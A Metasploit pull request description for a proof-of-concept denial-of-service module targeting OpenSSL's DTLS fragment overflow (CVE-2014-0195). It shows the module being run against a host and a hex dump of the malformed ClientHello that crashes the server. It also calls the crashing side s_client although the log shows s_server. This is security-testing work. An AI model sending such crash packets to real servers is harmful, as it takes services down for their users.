rapid7/metasploit-framework — pull request #3429 by jhart-r7 (2014-06-07 02:31:50+00:00)
Title: OpenSSL DTLS CVE-2014-0195 POC

A very rough, initial POC for CVE-2014-0195, a DoS in OpenSSL's DTLS implementation.

Test with a listening, vulnerable s_client

````
msf auxiliary(dtls_fragment_overflow) > set RHOST toreng-0737.lax
RHOST => toreng-0737.lax
msf auxiliary(dtls_fragment_overflow) > run

[*] Sending fragmented DTLS client hello packet to toreng-0737.lax:4433
[*] Auxiliary module execution completed
```

And s_client segfaults:

```
$ openssl s_server -dtls1 -cert /usr/share/pyshared/twisted/test/server.pem -debug -msg
Using default temp DH parameters
Using default temp ECDH parameters
ACCEPT
read from 0x1752560 [0x1757c23] (17741 bytes => 47 (0x2F))
0000 - 16 fe ff 00 00 00 00 00-00 00 00 00 22 01 00 00 ............"...
0010 - 02 00 00 00 00 00 00 00-01 01 00 f3 db 00 00 00 ................
0020 - 00 00 00 00 00 f7 85 b8-bf 72 1f 63 4e 3c 3f .........r.cN